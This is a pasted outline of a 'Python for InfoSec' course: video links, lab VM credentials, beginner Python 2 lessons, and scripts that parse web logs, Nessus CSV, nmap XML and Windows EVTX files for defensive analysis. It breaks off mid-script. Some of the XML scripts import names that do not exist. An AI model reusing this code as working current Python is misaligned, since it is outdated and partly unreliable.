SHOW:
|
|
- or go back to the newest paste.
| 1 | Here is the Day 1 Video: | |
| 2 | https://s3.amazonaws.com/StrategicSec-Videos/_2015_5_5_rec-lw-us-4_240269_recording.mp4 | |
| 3 | ||
| 4 | Here is the Day 2 Video: | |
| 5 | https://s3.amazonaws.com/StrategicSec-Videos/_2015_5_7_rec-hq-3_241310_recording.mp4 | |
| 6 | ||
| 7 | Here is the Day 3 Video: | |
| 8 | https://s3.amazonaws.com/StrategicSec-Videos/_2015_5_11_rec-lw-us-7_243144_recording.mp4 | |
| 9 | ||
| 10 | Here is the Day 4 Video: | |
| 11 | https://s3.amazonaws.com/StrategicSec-Videos/_2015_5_14_rec-hq-6_244377_recording.mp4 | |
| 12 | ||
| 13 | Here is the Day 5 Video: | |
| 14 | https://s3.amazonaws.com/StrategicSec-Videos/_2015_5_18_rec-hq-6_246395_recording.mp4 | |
| 15 | ||
| 16 | Here is the Day 6 Video: | |
| 17 | https://s3.amazonaws.com/StrategicSec-Videos/_2015_5_20_rec-hq-2_247633_recording.mp4 | |
| 18 | ||
| 19 | ||
| 20 | ######################################### | |
| 21 | # Here is the courseware for this month # | |
| 22 | ######################################### | |
| 23 | ||
| 24 | Class powerpoint slides: | |
| 25 | https://s3.amazonaws.com/StrategicSec-Files/Python/PythonV3-1.pptx | |
| 26 | ||
| 27 | ||
| 28 | ||
| 29 | Courseware Lab Manual | |
| 30 | https://s3.amazonaws.com/StrategicSec-Files/Python/Python-For-InfoSec-Pros-2015.pdf | |
| 31 | ||
| 32 | ||
| 33 | ||
| 34 | https://s3.amazonaws.com/StrategicSec-VMs/Strategicsec-Ubuntu-VPN-163.zip | |
| 35 | username: strategicsec | |
| 36 | password: strategicsec | |
| 37 | ||
| 38 | ||
| 39 | The youtube video playlist that I'd like for you to watch is located here: | |
| 40 | https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA | |
| 41 | ||
| 42 | ||
| 43 | ############################## | |
| 44 | # Installing Python in Linux # | |
| 45 | ############################## | |
| 46 | The first thing that you will need to do is install dpkt. | |
| 47 | ||
| 48 | sudo apt-get install -y idle | |
| 49 | ||
| 50 | Open IDLE, and let's just dive right in. | |
| 51 | ||
| 52 | ||
| 53 | ||
| 54 | ||
| 55 | ############################# | |
| 56 | # Lesson 1: Simple Printing # | |
| 57 | ############################# | |
| 58 | ||
| 59 | >>> print "Today we are learning Python." | |
| 60 | ||
| 61 | ||
| 62 | ||
| 63 | ||
| 64 | ||
| 65 | ||
| 66 | ##################################### | |
| 67 | # Lesson 2: Simple Numbers and Math # | |
| 68 | ##################################### | |
| 69 | ||
| 70 | >>> 2+2 | |
| 71 | ||
| 72 | >>> 6-3 | |
| 73 | ||
| 74 | >>> 18/7 | |
| 75 | ||
| 76 | >>> 18.0/7 | |
| 77 | ||
| 78 | >>> 18.0/7.0 | |
| 79 | ||
| 80 | >>> 18/7 | |
| 81 | ||
| 82 | >>> 9%4 | |
| 83 | ||
| 84 | >>> 8%4 | |
| 85 | ||
| 86 | >>> 8.75%.5 | |
| 87 | ||
| 88 | >>> 6.*7 | |
| 89 | ||
| 90 | >>> 6*6*6 | |
| 91 | ||
| 92 | >>> 6**3 | |
| 93 | ||
| 94 | >>> 5**12 | |
| 95 | ||
| 96 | >>> -5**4 | |
| 97 | ||
| 98 | ||
| 99 | ||
| 100 | ||
| 101 | ||
| 102 | ||
| 103 | ####################### | |
| 104 | # Lesson 3: Variables # | |
| 105 | ####################### | |
| 106 | ||
| 107 | >>> x=18 | |
| 108 | ||
| 109 | >>> x+15 | |
| 110 | ||
| 111 | >>> x**3 | |
| 112 | ||
| 113 | >>> y=54 | |
| 114 | ||
| 115 | >>> x+y | |
| 116 | ||
| 117 | >>> g=input("Enter number here: ")
| |
| 118 | 43 | |
| 119 | ||
| 120 | >>> g+32 | |
| 121 | ||
| 122 | >>> g**3 | |
| 123 | ||
| 124 | ||
| 125 | ||
| 126 | ||
| 127 | ||
| 128 | ||
| 129 | ||
| 130 | ||
| 131 | ################################### | |
| 132 | # Lesson 4: Modules and Functions # | |
| 133 | ################################### | |
| 134 | ||
| 135 | >>> 5**4 | |
| 136 | ||
| 137 | >>> pow(5,4) | |
| 138 | ||
| 139 | >>> abs(-18) | |
| 140 | ||
| 141 | >>> abs(5) | |
| 142 | ||
| 143 | >>> floor(18.7) | |
| 144 | ||
| 145 | >>> import math | |
| 146 | ||
| 147 | >>> math.floor(18.7) | |
| 148 | ||
| 149 | >>> math.sqrt(81) | |
| 150 | ||
| 151 | >>> joe = math.sqrt | |
| 152 | ||
| 153 | >>> joe(9) | |
| 154 | ||
| 155 | >>> joe=math.floor | |
| 156 | ||
| 157 | >>> joe(19.8) | |
| 158 | ||
| 159 | ||
| 160 | ||
| 161 | ||
| 162 | ||
| 163 | ||
| 164 | ||
| 165 | ################################## | |
| 166 | # Lesson 5: How to Save Programs # | |
| 167 | ################################## | |
| 168 | Run "IDLE (Python GUI)" | |
| 169 | ||
| 170 | File -> New Window | |
| 171 | ||
| 172 | print "Python for InfoSec" | |
| 173 | ||
| 174 | File -> Save as | |
| 175 | py4InfoSec.py | |
| 176 | ||
| 177 | Run -> Run Module or Press "F5" | |
| 178 | ||
| 179 | ||
| 180 | ||
| 181 | ||
| 182 | ||
| 183 | Create a file name.py | |
| 184 | ||
| 185 | x = raw_input("Enter name: ")
| |
| 186 | print "Hey " + x | |
| 187 | raw_input("Press<enter>")
| |
| 188 | ||
| 189 | ||
| 190 | Run -> Run Module or Press "F5" | |
| 191 | ||
| 192 | ||
| 193 | ||
| 194 | ||
| 195 | ||
| 196 | ||
| 197 | ||
| 198 | ||
| 199 | ##################### | |
| 200 | # Lesson 6: Strings # | |
| 201 | ##################### | |
| 202 | ||
| 203 | >>> "XSS" | |
| 204 | ||
| 205 | >>> 'SQLi' | |
| 206 | ||
| 207 | >>> "Joe's a python lover" | |
| 208 | ||
| 209 | >>> 'Joe\'s a python lover' | |
| 210 | ||
| 211 | >>> "Joe said \"InfoSec is fun\" to me" | |
| 212 | ||
| 213 | >>> a = "Joe" | |
| 214 | ||
| 215 | >>> b = "McCray" | |
| 216 | ||
| 217 | >>> a, b | |
| 218 | ||
| 219 | >>> a+b | |
| 220 | ||
| 221 | ||
| 222 | ||
| 223 | ||
| 224 | ||
| 225 | ||
| 226 | ||
| 227 | ||
| 228 | ########################## | |
| 229 | # Lesson 7: More Strings # | |
| 230 | ########################## | |
| 231 | ||
| 232 | >>> num = 10 | |
| 233 | ||
| 234 | >>> num + 2 | |
| 235 | ||
| 236 | >>> "The number of open ports found on this system is " + num | |
| 237 | ||
| 238 | >>> num = str(18) | |
| 239 | ||
| 240 | >>> "There are " + num + " vulnerabilities found in this environment." | |
| 241 | ||
| 242 | >>> num2 = 46 | |
| 243 | ||
| 244 | >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2` | |
| 245 | ||
| 246 | ||
| 247 | ||
| 248 | ||
| 249 | ||
| 250 | ||
| 251 | ||
| 252 | ||
| 253 | ####################### | |
| 254 | # Lesson 8: Raw Input # | |
| 255 | ####################### | |
| 256 | Run "IDLE (Python GUI)" | |
| 257 | ||
| 258 | File -> New Window | |
| 259 | ||
| 260 | joemccray=input("Enter name: ")
| |
| 261 | print joemccray | |
| 262 | ||
| 263 | ||
| 264 | ||
| 265 | Run -> Run Module # Will throw an error | |
| 266 | or | |
| 267 | Press "F5" | |
| 268 | ||
| 269 | File -> New Window | |
| 270 | joemccray=raw_input("Enter name: ")
| |
| 271 | ||
| 272 | Run -> Run Module # Will throw an error | |
| 273 | ||
| 274 | or | |
| 275 | ||
| 276 | Press "F5" | |
| 277 | ||
| 278 | NOTE: | |
| 279 | Use "input() for integers and expressions, and use raw_input() when you are dealing with strings. | |
| 280 | ||
| 281 | ||
| 282 | ||
| 283 | ||
| 284 | ||
| 285 | ||
| 286 | ||
| 287 | ################################# | |
| 288 | # Lesson 9: Sequences and Lists # | |
| 289 | ################################# | |
| 290 | ||
| 291 | >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include'] | |
| 292 | ||
| 293 | >>> attacks | |
| 294 | ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include'] | |
| 295 | ||
| 296 | >>> attacks[3] | |
| 297 | 'SQL Injection' | |
| 298 | ||
| 299 | >>> attacks[-2] | |
| 300 | 'Cross-Site Scripting' | |
| 301 | ||
| 302 | ||
| 303 | ||
| 304 | ||
| 305 | ||
| 306 | ||
| 307 | ########################## | |
| 308 | # Level 10: If Statement # | |
| 309 | ########################## | |
| 310 | Run "IDLE (Python GUI)" | |
| 311 | ||
| 312 | File -> New Window | |
| 313 | attack="SQLI" | |
| 314 | if attack=="SQLI": | |
| 315 | print 'The attacker is using SQLI' | |
| 316 | ||
| 317 | ||
| 318 | ||
| 319 | Run -> Run Module or Press "F5" | |
| 320 | ||
| 321 | File >> New Window | |
| 322 | attack="XSS" | |
| 323 | if attack=="SQLI": | |
| 324 | print 'The attacker is using SQLI' | |
| 325 | ||
| 326 | ||
| 327 | Run -> Run Module or Press "F5" | |
| 328 | ||
| 329 | ||
| 330 | ||
| 331 | ############################# | |
| 332 | # Reference Videos To Watch # | |
| 333 | ############################# | |
| 334 | Here is your first set of youtube videos that I'd like for you to watch: | |
| 335 | https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10) | |
| 336 | ||
| 337 | ||
| 338 | ||
| 339 | ||
| 340 | ||
| 341 | ##################################### | |
| 342 | # Lession 11: Intro to Log Analysis # | |
| 343 | ##################################### | |
| 344 | ||
| 345 | Login to your StrategicSec Ubuntu machine. You can download the VM from the following link: | |
| 346 | ||
| 347 | https://s3.amazonaws.com/StrategicSec-VMs/Strategicsec-Ubuntu-VPN-163.zip | |
| 348 | username: strategicsec | |
| 349 | password: strategicsec | |
| 350 | ||
| 351 | Then execute the following commands: | |
| 352 | --------------------------------------------------------------------------------------------------------- | |
| 353 | ||
| 354 | ||
| 355 | wget https://s3.amazonaws.com/SecureNinja/Python/access_log | |
| 356 | ||
| 357 | ||
| 358 | cat access_log | grep 141.101.80.188 | |
| 359 | ||
| 360 | cat access_log | grep 141.101.80.187 | |
| 361 | ||
| 362 | cat access_log | grep 108.162.216.204 | |
| 363 | ||
| 364 | cat access_log | grep 173.245.53.160 | |
| 365 | ||
| 366 | --------------------------------------------------------- | |
| 367 | ||
| 368 | Google the following terms: | |
| 369 | - Python read file | |
| 370 | - Python read line | |
| 371 | - Python read from file | |
| 372 | ||
| 373 | ||
| 374 | ||
| 375 | ||
| 376 | ######################################################### | |
| 377 | # Lession 12: Use Python to read in a file line by line # | |
| 378 | ######################################################### | |
| 379 | ||
| 380 | ||
| 381 | Reference: | |
| 382 | http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/ | |
| 383 | ||
| 384 | ||
| 385 | ||
| 386 | --------------------------------------------------------- | |
| 387 | vi logread1.py | |
| 388 | ||
| 389 | ||
| 390 | ## Open the file with read only permit | |
| 391 | f = open('access_log', "r")
| |
| 392 | ||
| 393 | ## use readlines to read all lines in the file | |
| 394 | ## The variable "lines" is a list containing all lines | |
| 395 | lines = f.readlines() | |
| 396 | ||
| 397 | print lines | |
| 398 | ||
| 399 | ||
| 400 | ## close the file after reading the lines. | |
| 401 | f.close() | |
| 402 | ||
| 403 | --------------------------------------------------------- | |
| 404 | ||
| 405 | ||
| 406 | Google the following: | |
| 407 | - python difference between readlines and readline | |
| 408 | - python readlines and readline | |
| 409 | ||
| 410 | ||
| 411 | ||
| 412 | ||
| 413 | ||
| 414 | ################################# | |
| 415 | # Lession 13: A quick challenge # | |
| 416 | ################################# | |
| 417 | ||
| 418 | Can you write an if/then statement that looks for this IP and print "Found it"? | |
| 419 | ||
| 420 | ||
| 421 | 141.101.81.187 | |
| 422 | ||
| 423 | ||
| 424 | ||
| 425 | ||
| 426 | ||
| 427 | ||
| 428 | --------------------------------------------------------- | |
| 429 | Hint 1: Use Python to look for a value in a list | |
| 430 | ||
| 431 | Reference: | |
| 432 | http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html | |
| 433 | ||
| 434 | ||
| 435 | ||
| 436 | ||
| 437 | --------------------------------------------------------- | |
| 438 | Hint 2: Use Python to prompt for user input | |
| 439 | ||
| 440 | Reference: | |
| 441 | http://www.cyberciti.biz/faq/python-raw_input-examples/ | |
| 442 | ||
| 443 | ||
| 444 | ||
| 445 | ||
| 446 | --------------------------------------------------------- | |
| 447 | Hint 3: Use Python to search for a string in a list | |
| 448 | ||
| 449 | Reference: | |
| 450 | http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string | |
| 451 | ||
| 452 | ||
| 453 | ||
| 454 | ||
| 455 | Here is one student's solution - can you please this code to me? | |
| 456 | ||
| 457 | #!/usr/bin/python | |
| 458 | ||
| 459 | f = open('access_log')
| |
| 460 | ||
| 461 | strUsrinput = raw_input("Enter IP Address: ")
| |
| 462 | ||
| 463 | for line in iter(f): | |
| 464 | ip = line.split(" - ")[0]
| |
| 465 | if ip == strUsrinput: | |
| 466 | print line | |
| 467 | ||
| 468 | f.close() | |
| 469 | ||
| 470 | ||
| 471 | ||
| 472 | ||
| 473 | ------------------------------- | |
| 474 | ||
| 475 | Working with another student after class we came up with another solution: | |
| 476 | ||
| 477 | #!/usr/bin/env python | |
| 478 | ||
| 479 | ||
| 480 | # This line opens the log file | |
| 481 | f=open('access_log',"r")
| |
| 482 | ||
| 483 | # This line takes each line in the log file and stores it as an element in the list | |
| 484 | lines = f.readlines() | |
| 485 | ||
| 486 | ||
| 487 | # This lines stores the IP that the user types as a var called userinput | |
| 488 | userinput = raw_input("Enter the IP you want to search for: ")
| |
| 489 | ||
| 490 | ||
| 491 | ||
| 492 | # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found. | |
| 493 | for ip in lines: | |
| 494 | if ip.find(userinput) != -1: | |
| 495 | print ip | |
| 496 | ||
| 497 | ||
| 498 | ||
| 499 | ################################################## | |
| 500 | # Lession 14: Look for web attacks in a log file # | |
| 501 | ################################################## | |
| 502 | ||
| 503 | In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your web server log. | |
| 504 | Supported attacks: | |
| 505 | 1. SQL Injection | |
| 506 | 2. Local File Inclusion | |
| 507 | 3. Remote File Inclusion | |
| 508 | 4. Cross-Site Scripting | |
| 509 | ||
| 510 | ||
| 511 | ||
| 512 | wget https://s3.amazonaws.com/SecureNinja/Python/scan_log.py | |
| 513 | ||
| 514 | The usage for scan_log.py is simple. You feed it an apache log file. | |
| 515 | ||
| 516 | cat scan_log.py | less (use your up/down arrow keys to look through the file) | |
| 517 | ||
| 518 | Explain to me how this script works. | |
| 519 | ||
| 520 | ||
| 521 | ||
| 522 | ################################ | |
| 523 | # Lesson 15: Parsing CSV Files # | |
| 524 | ################################ | |
| 525 | ||
| 526 | Dealing with csv files | |
| 527 | ||
| 528 | Reference: | |
| 529 | http://www.pythonforbeginners.com/systems-programming/using-the-csv-module-in-python/ | |
| 530 | ||
| 531 | Type the following commands: | |
| 532 | --------------------------------------------------------------------------------------------------------- | |
| 533 | ||
| 534 | wget https://s3.amazonaws.com/SecureNinja/Python/class_nessus.csv | |
| 535 | ||
| 536 | ||
| 537 | Example 1 - Reading CSV files | |
| 538 | ----------------------------- | |
| 539 | #To be able to read csv formated files, we will first have to import the | |
| 540 | #csv module. | |
| 541 | ||
| 542 | ||
| 543 | import csv | |
| 544 | with open('class_nessus.csv', 'rb') as f:
| |
| 545 | reader = csv.reader(f) | |
| 546 | for row in reader: | |
| 547 | print row | |
| 548 | ||
| 549 | ||
| 550 | ||
| 551 | ||
| 552 | ||
| 553 | ||
| 554 | Example 2 - Reading CSV files | |
| 555 | ----------------------------- | |
| 556 | vi readcsv.py | |
| 557 | ||
| 558 | ||
| 559 | #!/usr/bin/python | |
| 560 | import csv # imports the csv module | |
| 561 | import sys # imports the sys module | |
| 562 | ||
| 563 | f = open(sys.argv[1], 'rb') # opens the csv file | |
| 564 | try: | |
| 565 | reader = csv.reader(f) # creates the reader object | |
| 566 | for row in reader: # iterates the rows of the file in orders | |
| 567 | print row # prints each row | |
| 568 | finally: | |
| 569 | f.close() # closing | |
| 570 | ||
| 571 | ||
| 572 | ||
| 573 | ||
| 574 | ||
| 575 | ||
| 576 | Example 3 - - Reading CSV files | |
| 577 | ------------------------------- | |
| 578 | vi readcsv2.py | |
| 579 | ||
| 580 | ||
| 581 | #!/usr/bin/python | |
| 582 | # This program will then read it and displays its contents. | |
| 583 | ||
| 584 | ||
| 585 | import csv | |
| 586 | ||
| 587 | ifile = open('class_nessus.csv', "rb")
| |
| 588 | reader = csv.reader(ifile) | |
| 589 | ||
| 590 | rownum = 0 | |
| 591 | for row in reader: | |
| 592 | # Save header row. | |
| 593 | if rownum == 0: | |
| 594 | header = row | |
| 595 | else: | |
| 596 | colnum = 0 | |
| 597 | for col in row: | |
| 598 | print '%-8s: %s' % (header[colnum], col) | |
| 599 | colnum += 1 | |
| 600 | ||
| 601 | rownum += 1 | |
| 602 | ||
| 603 | ifile.close() | |
| 604 | ||
| 605 | ||
| 606 | ||
| 607 | ||
| 608 | ||
| 609 | ||
| 610 | ||
| 611 | ||
| 612 | python readcsv2.py | less | |
| 613 | ||
| 614 | ||
| 615 | ||
| 616 | ||
| 617 | ||
| 618 | ||
| 619 | ||
| 620 | ||
| 621 | /---------------------------------------------------/ | |
| 622 | --------------------PARSING CSV FILES---------------- | |
| 623 | /---------------------------------------------------/ | |
| 624 | ||
| 625 | -------------TASK 1------------ | |
| 626 | vi readcsv3.py | |
| 627 | ||
| 628 | #!/usr/bin/python | |
| 629 | import csv | |
| 630 | f = open('class_nessus.csv', 'rb')
| |
| 631 | try: | |
| 632 | rownum = 0 | |
| 633 | reader = csv.reader(f) | |
| 634 | for row in reader: | |
| 635 | #Save header row. | |
| 636 | if rownum == 0: | |
| 637 | header = row | |
| 638 | else: | |
| 639 | colnum = 0 | |
| 640 | if row[3].lower() == 'high': | |
| 641 | print '%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]) | |
| 642 | rownum += 1 | |
| 643 | finally: | |
| 644 | f.close() | |
| 645 | ||
| 646 | ||
| 647 | ||
| 648 | ||
| 649 | ||
| 650 | python readcsv3.py | less | |
| 651 | ||
| 652 | -------------TASK 2------------ | |
| 653 | vi readcsv4.py | |
| 654 | ||
| 655 | #!/usr/bin/python | |
| 656 | import csv | |
| 657 | f = open('class_nessus.csv', 'rb')
| |
| 658 | try: | |
| 659 | print '/---------------------------------------------------/' | |
| 660 | rownum = 0 | |
| 661 | hosts = {}
| |
| 662 | reader = csv.reader(f) | |
| 663 | for row in reader: | |
| 664 | # Save header row. | |
| 665 | if rownum == 0: | |
| 666 | header = row | |
| 667 | else: | |
| 668 | colnum = 0 | |
| 669 | if row[3].lower() == 'high' and row[4] not in hosts: | |
| 670 | hosts[row[4]] = row[4] | |
| 671 | print '%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]) | |
| 672 | rownum += 1 | |
| 673 | finally: | |
| 674 | f.close() | |
| 675 | ||
| 676 | ||
| 677 | python readcsv4.py | less | |
| 678 | ||
| 679 | ||
| 680 | ||
| 681 | ||
| 682 | ||
| 683 | ################################ | |
| 684 | # Lesson 16: Parsing XML Files # | |
| 685 | ################################ | |
| 686 | ||
| 687 | /---------------------------------------------------/ | |
| 688 | --------------------PARSING XML FILES---------------- | |
| 689 | /---------------------------------------------------/ | |
| 690 | ||
| 691 | ||
| 692 | Type the following commands: | |
| 693 | --------------------------------------------------------------------------------------------------------- | |
| 694 | ||
| 695 | wget https://s3.amazonaws.com/SecureNinja/Python/samplescan.xml | |
| 696 | ||
| 697 | wget https://s3.amazonaws.com/SecureNinja/Python/application.xml | |
| 698 | ||
| 699 | wget https://s3.amazonaws.com/SecureNinja/Python/security.xml | |
| 700 | ||
| 701 | wget https://s3.amazonaws.com/SecureNinja/Python/system.xml | |
| 702 | ||
| 703 | wget https://s3.amazonaws.com/SecureNinja/Python/sc_xml.xml | |
| 704 | ||
| 705 | ||
| 706 | ||
| 707 | -------------TASK 1------------ | |
| 708 | vi readxml1.py | |
| 709 | ||
| 710 | #!/usr/bin/python | |
| 711 | from xmllib import attributes | |
| 712 | from xml.dom.minidom import toxml | |
| 713 | from xml.dom.minidom import firstChild | |
| 714 | from xml.dom import minidom | |
| 715 | xmldoc = minidom.parse('sc_xml.xml')
| |
| 716 | grandNode = xmldoc.firstChild | |
| 717 | nodes = grandNode.getElementsByTagName('host')
| |
| 718 | count = 0 | |
| 719 | ||
| 720 | for node in nodes: | |
| 721 | os = node.getElementsByTagName('os')[0]
| |
| 722 | osclasses = os.getElementsByTagName('osclass')
| |
| 723 | for osclass in osclasses: | |
| 724 | if osclass.attributes['osfamily'].value == 'Windows' and osclass.attributes['osgen'].value == 'XP': | |
| 725 | try: | |
| 726 | print '%-8s: %s -> %-8s: %s' % ('Host',node.getElementsByTagName('hostnames')[0].getElementsByTagName('hostname')[0].attributes['name'].value,'OS',os.getElementsByTagName('osmatch')[0].attributes['name'].value)
| |
| 727 | except: | |
| 728 | print '%-8s: %s -> %-8s: %s' % ('Host','Unable to find Hostname','OS',os.getElementsByTagName('osmatch')[0].attributes['name'].value)
| |
| 729 | ||
| 730 | ||
| 731 | ||
| 732 | ||
| 733 | ||
| 734 | -------------TASK 2------------ | |
| 735 | vi readxml2.py | |
| 736 | ||
| 737 | #!/usr/bin/python | |
| 738 | from xmllib import attributes | |
| 739 | from xml.dom.minidom import toxml | |
| 740 | from xml.dom.minidom import firstChild | |
| 741 | from xml.dom import minidom | |
| 742 | xmldoc = minidom.parse('sc_xml.xml')
| |
| 743 | grandNode = xmldoc.firstChild | |
| 744 | nodes = grandNode.getElementsByTagName('host')
| |
| 745 | count = 0 | |
| 746 | for node in nodes: | |
| 747 | portsNode = node.getElementsByTagName('ports')[0]
| |
| 748 | ports = portsNode.getElementsByTagName('port')
| |
| 749 | for port in ports: | |
| 750 | if port.attributes['portid'].value == '22' and port.attributes['protocol'].value == 'tcp': | |
| 751 | state = port.getElementsByTagName('state')[0]
| |
| 752 | if state.attributes['state'].value == 'open': | |
| 753 | try: | |
| 754 | print '%-8s: %s -> %-8s: %s' % ('Host',node.getElementsByTagName('hostnames')[0].getElementsByTagName('hostname')[0].attributes['name'].value,'Ports','open : tcp : 22')
| |
| 755 | except: | |
| 756 | print '%-8s: %s -> %-8s: %s' % ('Host','Unable to find Hostname','Ports','open : tcp : 22')
| |
| 757 | ||
| 758 | ||
| 759 | ||
| 760 | ||
| 761 | -------------TASK 3------------ | |
| 762 | vi readxml3.py | |
| 763 | ||
| 764 | #!/usr/bin/python | |
| 765 | from xmllib import attributes | |
| 766 | from xml.dom.minidom import toxml | |
| 767 | from xml.dom.minidom import firstChild | |
| 768 | from xml.dom import minidom | |
| 769 | xmldoc = minidom.parse('sc_xml.xml')
| |
| 770 | grandNode = xmldoc.firstChild | |
| 771 | nodes = grandNode.getElementsByTagName('host')
| |
| 772 | count = 0 | |
| 773 | for node in nodes: | |
| 774 | portsNode = node.getElementsByTagName('ports')[0]
| |
| 775 | ports = portsNode.getElementsByTagName('port')
| |
| 776 | flag = 0 | |
| 777 | for port in ports: | |
| 778 | if flag == 0: | |
| 779 | if port.attributes['protocol'].value == 'tcp' and (port.attributes['portid'].value == '443' or port.attributes['portid'].value == '80'): | |
| 780 | state = port.getElementsByTagName('state')[0]
| |
| 781 | if state.attributes['state'].value == 'open': | |
| 782 | try: | |
| 783 | print '%-8s: %s -> %-8s: %s' % ('Host',node.getElementsByTagName('hostnames')[0].getElementsByTagName('hostname')[0].attributes['name'].value,'Ports','open : tcp : '+port.attributes['portid'].value)
| |
| 784 | except: | |
| 785 | print '%-8s: %s -> %-8s: %s' % ('Host','Unable to find Hostname','Ports','open : tcp : '+port.attributes['portid'].value)
| |
| 786 | flag = 1 | |
| 787 | ||
| 788 | ||
| 789 | ||
| 790 | ||
| 791 | -------------TASK 4------------ | |
| 792 | vi readxml4.py | |
| 793 | ||
| 794 | #!/usr/bin/python | |
| 795 | from xmllib import attributes | |
| 796 | from xml.dom.minidom import toxml | |
| 797 | from xml.dom.minidom import firstChild | |
| 798 | from xml.dom import minidom | |
| 799 | xmldoc = minidom.parse('sc_xml.xml')
| |
| 800 | grandNode = xmldoc.firstChild | |
| 801 | nodes = grandNode.getElementsByTagName('host')
| |
| 802 | count = 0 | |
| 803 | for node in nodes: | |
| 804 | flag = 0 | |
| 805 | naddress = '' | |
| 806 | addresses = node.getElementsByTagName('address')
| |
| 807 | for address in addresses: | |
| 808 | if address.attributes['addrtype'].value == 'ipv4' and address.attributes['addr'].value[0:6] == '10.57.': | |
| 809 | naddress = address.attributes['addr'].value | |
| 810 | flag = 1 | |
| 811 | if flag == 1: | |
| 812 | portsNode = node.getElementsByTagName('ports')[0];
| |
| 813 | ports = portsNode.getElementsByTagName('port')
| |
| 814 | flag = 0 | |
| 815 | for port in ports: | |
| 816 | status = {}
| |
| 817 | if port.attributes['protocol'].value == 'tcp' and port.attributes['portid'].value[0:2] == '22': | |
| 818 | state = port.getElementsByTagName('state')[0]
| |
| 819 | if "open" in state.attributes['state'].value: | |
| 820 | status[0] = state.attributes['state'].value | |
| 821 | status[1] = port.attributes['portid'].value | |
| 822 | flag = 1 | |
| 823 | else: | |
| 824 | flag = 0 | |
| 825 | if port.attributes['protocol'].value == 'tcp' and flag == 1: | |
| 826 | if port.attributes['portid'].value == '80' or port.attributes['portid'].value == '443': | |
| 827 | state = port.getElementsByTagName('state')[0]
| |
| 828 | if state.attributes['state'].value == 'open': | |
| 829 | flag = 0 | |
| 830 | try: | |
| 831 | print '%-8s: %s -> %-8s: %s -> %-8s: %s' % ('Host',node.getElementsByTagName('hostnames')[0].getElementsByTagName('hostname')[0].attributes['name'].value,'IP',naddress,'Ports',status[0]+' : tcp : '+status[1]+' and open : tcp : '+port.attributes['portid'].value)
| |
| 832 | except: | |
| 833 | print '%-8s: %s -> %-8s: %s -> %-8s: %s' % ('Host','Unable to find Hostname','IP',naddress,'Ports',status[0]+' : tcp : '+status[1]+' and open : tcp : '+port.attributes['portid'].value)
| |
| 834 | ||
| 835 | ||
| 836 | ||
| 837 | ################################ | |
| 838 | # Lesson 17: Parsing EVTX Logs # | |
| 839 | ################################ | |
| 840 | /---------------------------------------------------/ | |
| 841 | --------------------PARSING EVTX FILES---------------- | |
| 842 | /---------------------------------------------------/ | |
| 843 | ||
| 844 | ||
| 845 | Type the following commands: | |
| 846 | --------------------------------------------------------------------------------------------------------- | |
| 847 | ||
| 848 | wget https://s3.amazonaws.com/SecureNinja/Python/Program-Inventory.evtx | |
| 849 | ||
| 850 | wget https://s3.amazonaws.com/SecureNinja/Python/WIN-M751BADISCT_Application.evtx | |
| 851 | ||
| 852 | wget https://s3.amazonaws.com/SecureNinja/Python/WIN-M751BADISCT_Security.evtx | |
| 853 | ||
| 854 | wget https://s3.amazonaws.com/SecureNinja/Python/WIN-M751BADISCT_System.evtx | |
| 855 | ||
| 856 | ||
| 857 | ||
| 858 | ||
| 859 | -------------TASK 1------------ | |
| 860 | vi readevtx1.py | |
| 861 | ||
| 862 | import mmap | |
| 863 | import re | |
| 864 | import contextlib | |
| 865 | import sys | |
| 866 | import operator | |
| 867 | import HTMLParser | |
| 868 | from xml.dom import minidom | |
| 869 | from operator import itemgetter, attrgetter | |
| 870 | ||
| 871 | from Evtx.Evtx import FileHeader | |
| 872 | from Evtx.Views import evtx_file_xml_view | |
| 873 | ||
| 874 | pars = HTMLParser.HTMLParser() | |
| 875 | print pars.unescape('<Data Name="MaxPasswordAge">&12856;"</Data>')
| |
| 876 | file_name = str(raw_input('Enter EVTX file name without extension : '))
| |
| 877 | file_name = 'WIN-M751BADISCT_System' | |
| 878 | with open(file_name+'.evtx', 'r') as f: | |
| 879 | with contextlib.closing(mmap.mmap(f.fileno(), 0, | |
| 880 | access=mmap.ACCESS_READ)) as buf: | |
| 881 | fh = FileHeader(buf, 0x0) | |
| 882 | xml_file = "<?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"yes\" ?><Events>" | |
| 883 | try: | |
| 884 | for xml, record in evtx_file_xml_view(fh): | |
| 885 | xml_file += xml | |
| 886 | except: | |
| 887 | pass | |
| 888 | xml_file += "</Events>" | |
| 889 | xml_file = re.sub('<NULL>', '<NULL></NULL>', xml_file)
| |
| 890 | xml_file = re.sub('<local>', '<local></local>', xml_file)
| |
| 891 | xml_file = re.sub('&', '&', xml_file)
| |
| 892 | f = open(file_name+'.xml', 'w') | |
| 893 | f.write(xml_file) | |
| 894 | f.close() | |
| 895 | try: | |
| 896 | xmldoc = minidom.parse(file_name+'.xml') | |
| 897 | except: | |
| 898 | sys.exit('Invalid file...')
| |
| 899 | grandNode = xmldoc.firstChild | |
| 900 | nodes = grandNode.getElementsByTagName('Event')
| |
| 901 | ||
| 902 | ||
| 903 | event_num = int(raw_input('How many events you want to show : '))
| |
| 904 | length = int(len(nodes)) - 1 | |
| 905 | event_id = 0 | |
| 906 | if event_num > length: | |
| 907 | sys.exit('You have entered an ivalid num...')
| |
| 908 | while True: | |
| 909 | if event_num > 0 and length > -1: | |
| 910 | try: | |
| 911 | event_id = nodes[length].getElementsByTagName('EventID')[0].childNodes[0].nodeValue
| |
| 912 | try: | |
